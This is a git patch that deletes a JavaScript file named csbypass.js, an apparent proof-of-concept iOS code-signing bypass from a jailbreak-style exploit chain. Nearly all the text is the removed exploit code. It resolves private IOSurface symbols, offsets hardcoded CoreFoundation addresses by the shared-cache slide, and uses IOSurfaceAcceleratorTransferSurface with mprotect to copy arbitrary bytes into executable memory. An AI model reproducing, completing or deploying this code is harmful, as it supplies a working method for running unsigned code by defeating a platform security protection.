From 630aecdb5082b7aabf38c4d5594fb236bebcceff Mon Sep 17 00:00:00 2001
From: spv420 <spv@spv.sh>
Date: Sat, 30 Jul 2022 23:32:19 -0400
Subject: hell

---
 src/js/csbypass.js | 125 -----------------------------------------------------
 1 file changed, 125 deletions(-)
 delete mode 100644 src/js/csbypass.js

(limited to 'src/js/csbypass.js')

diff --git a/src/js/csbypass.js b/src/js/csbypass.js
deleted file mode 100644
index f987e55..0000000
--- a/src/js/csbypass.js
+++ /dev/null
@@ -1,125 +0,0 @@
-var RTLD_NOW = 2;
-var PAGE_SIZE = 0x1000;
-
-var CFDictionaryCreateMutable_addr = 0x20809ae1;
-var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc;
-var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc;
-var CFDictionarySetValue_addr = 0x2080a791;
-var CFNumberCreate_addr = 0x2080bc79;
-var kCFNumberSInt32Type = 3;
-var kCFNumberSInt64Type = 4;
-var CFShow_addr = 0x208e897c | 1;
-
-var my_kIOSurfaceBytesPerRow;
-var my_kIOSurfaceWidth;
-var my_kIOSurfaceHeight;
-var my_kIOSurfacePixelFormat;
-var kCFAllocatorDefault;
-
-var kCFStringEncodingUTF8 = 0x08000100;
-
-function csbypass() {
-	printf("hello from csbypass!\n");
-	poc();
-}
-
-function memcpy_exec(dst, src, size) {
-	var dict = NULL;
-	var accel = malloc(4);
-	var width = malloc(4);
-	var height = malloc(4);
-	var pitch = malloc(4);
-	var pixel_format = malloc(8);
-	write_u32(width, PAGE_SIZE / (16 * 4));
-	write_u32(height, 16);
-	write_u32(pitch, read_u32(width) * 4);
-	write_u32(pixel_format, 0x42475241); // ARGB
-	write_u32(pixel_format + 4, 0x0); // ARGB
-	printf("%x %x\n", CFDictionarySetValue_addr + get_dyld_shc_slide(), dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "CFDictionarySetValue"));
-	dict = CFDictionaryCreateMutable(0, 0, kCFTypeDictionaryKeyCallBacks_addr + get_dyld_shc_slide(), kCFTypeDictionaryValueCallBacks_addr + get_dyld_shc_slide());
-	printf("dict: %p\n", dict);
-	callnarg(CFShow_addr + get_dyld_shc_slide(), dict);
-	CFDictionarySetValue(dict, read_u32(my_kIOSurfaceBytesPerRow), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, pitch));
-	CFDictionarySetValue(dict, read_u32(my_kIOSurfaceWidth), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, width));
-	CFDictionarySetValue(dict, read_u32(my_kIOSurfaceHeight), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, height));
-	CFDictionarySetValue(dict, read_u32(my_kIOSurfacePixelFormat), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, pixel_format));
-	printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel));
-	printf("you can kill me now\n");
-
-	printf("yahtzee1\n");
-
-	for (var i = 0; i < size; i += PAGE_SIZE) {
-		var kr = 0;
-		var target = shit_heap(4);
-		var srcaddr = shit_heap(4);
-		printf("yahtzee1\n");
-		write_u32(target, dst + i);
-		write_u32(srcaddr, src);
-		printf("yahtzee1 %x %x\n", dst, src);
-
-		printf("%x\n",  CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8));
-
-		CFDictionarySetValue(dict, CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt64Type, srcaddr));
-	printf("yahtzee1\n");
-	var src_surf = callnarg(my_IOSurfaceCreate, dict);
-	printf("yahtzee1\n");
-	mprotect(target, PAGE_SIZE, PROT_READ | PROT_WRITE);
-	printf("yahtzee1\n");
-	CFDictionarySetValue(dict, CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt64Type, target));
-	printf("yahtzee1\n");
-	var dest_surf = callnarg(my_IOSurfaceCreate, dict);
-	printf("yahtzee1\n");
-	mprotect(target, PAGE_SIZE, PROT_READ | PROT_EXEC);
-	printf("yahtzee1\n");
-	mlock(target, PAGE_SIZE);
-	printf("yahtzee1\n");
-	kr = callnarg(my_IOSurfaceAcceleratorTransferSurface, accel, src_surf, dest_surf, 0, 0);
-		printf("kr2=0x%08x\n", kr);
-	printf("yahtzee1\n");
-}
-
-	return dst;
-}
-
-function linkIOSurface() {
-	h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW);
-    
-    my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow");
-    my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth");
-    my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight");
-    my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat");
-
-	scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat);
-
-    my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate");
-    my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate");
-    my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface");
-
-	CFDictionarySetValue_addr = dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "CFDictionarySetValue") - get_dyld_shc_slide();
-	kCFAllocatorDefault = dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "kCFAllocatorDefault");
-
-	scall("printf", "%x %x %x\n", my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface);
-}
-
-function poc() {
-	linkIOSurface();
-
-	var tmp = malloc(0x4000);
-//	var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47];
-	var start = [0x44, 0x43, 0x42, 0x41];
-
-	for (var i = 0; i < start.length; i++) {
-		write_u8(tmp + i, start[i]);
-	}
-
-	var finish = 0x10000;
-
-	printf("%x\n", read_u32(0x10000));
-	printf("yahtzee\n");
-	memcpy_exec(finish, tmp, 0x1000);
-	printf("%x\n", read_u32(0x10000));
-
-	scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141);
-
-//	var finish = 
-}
\ No newline at end of file
-- 
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